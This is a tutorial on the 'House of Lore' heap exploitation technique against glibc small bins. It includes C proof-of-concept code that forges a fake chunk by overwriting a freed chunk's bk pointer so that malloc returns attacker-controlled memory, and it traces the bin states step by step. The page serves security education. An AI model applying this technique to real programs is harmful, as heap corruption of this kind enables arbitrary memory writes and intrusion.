House of Lore

This attack is basically the forging chunks attack for small and large bins. However, due to an added protection for large bins in around 2007 (the introduction of fd_nextsize and bk_nextsize) it became impractical. Here we shall see the case only for small bins. First, a small chunk will be placed in a small bin. It’s bk pointer will be overwritten to point to a fake small chunk. Note that in the case of small bins, insertion happens at the HEAD and removal at the TAIL. A malloc call will first remove the authentic chunk from the bin making the attacker’s fake chunk at the TAIL of the bin. The next malloc will return the attacker’s chunk.

Consider this sample code (download the complete version here):

  1. struct small_chunk {
  2. size_t prev_size;
  3. size_t size;
  4. struct small_chunk *fd;
  5. struct small_chunk *bk;
  6. char buf[0x64]; // chunk falls in smallbin size range
  7. };
  8. struct small_chunk fake_chunk; // At address 0x7ffdeb37d050
  9. struct small_chunk another_fake_chunk;
  10. struct small_chunk *real_chunk;
  11. unsigned long long *ptr, *victim;
  12. int len;
  13. len = sizeof(struct small_chunk);
  14. // Grab two small chunk and free the first one
  15. // This chunk will go into unsorted bin
  16. ptr = malloc(len); // points to address 0x1a44010
  17. // The second malloc can be of random size. We just want that
  18. // the first chunk does not merge with the top chunk on freeing
  19. malloc(len); // points to address 0x1a440a0
  20. // This chunk will end up in unsorted bin
  21. free(ptr);
  22. real_chunk = (struct small_chunk *)(ptr - 2); // points to address 0x1a44000
  23. // Grab another chunk with greater size so as to prevent getting back
  24. // the same one. Also, the previous chunk will now go from unsorted to
  25. // small bin
  26. malloc(len + 0x10); // points to address 0x1a44130
  27. // Make the real small chunk's bk pointer point to &fake_chunk
  28. // This will insert the fake chunk in the smallbin
  29. real_chunk->bk = &fake_chunk;
  30. // and fake_chunk's fd point to the small chunk
  31. // This will ensure that 'victim->bk->fd == victim' for the real chunk
  32. fake_chunk.fd = real_chunk;
  33. // We also need this 'victim->bk->fd == victim' test to pass for fake chunk
  34. fake_chunk.bk = &another_fake_chunk;
  35. another_fake_chunk.fd = &fake_chunk;
  36. // Remove the real chunk by a standard call to malloc
  37. malloc(len); // points at address 0x1a44010
  38. // Next malloc for that size will return the fake chunk
  39. victim = malloc(len); // points at address 0x7ffdeb37d060

Notice that the steps needed for forging a small chunk are more due to the complicated handling of small chunks. Particular care was needed to ensure that victim->bk->fd equals victim for every small chunk that is to be returned from ‘malloc’, to pass the “malloc(): smallbin double linked list corrupted” security check. Also, extra ‘malloc’ calls were added in between to ensure that:

  1. The first chunk goes to the unsorted bin instead of merging with the top chunk on freeing.
  2. The first chunk goes to the small bin as it does not satisfy a malloc request for len + 0x10.

The state of the unsorted bin and the small bin are shown:

  1. free(ptr). Unsorted bin:

    head <-> ptr <-> tail

    Small bin:

    head <-> tail

  2. malloc(len + 0x10); Unsorted bin:

    head <-> tail

    Small bin:

    head <-> ptr <-> tail

  3. Pointer manipulations Unsorted bin:

    head <-> tail

    Small bin:

    undefined <-> fake_chunk <-> ptr <-> tail

  4. malloc(len) Unsorted bin:

    head <-> tail

    Small bin:

    undefined <-> fake_chunk <-> tail

  5. malloc(len) Unsorted bin:

    head <-> tail

    Small bin:

    undefined <-> tail [ Fake chunk is returned ]

Note that another ‘malloc’ call for the corresponding small bin will result in a segmentation fault.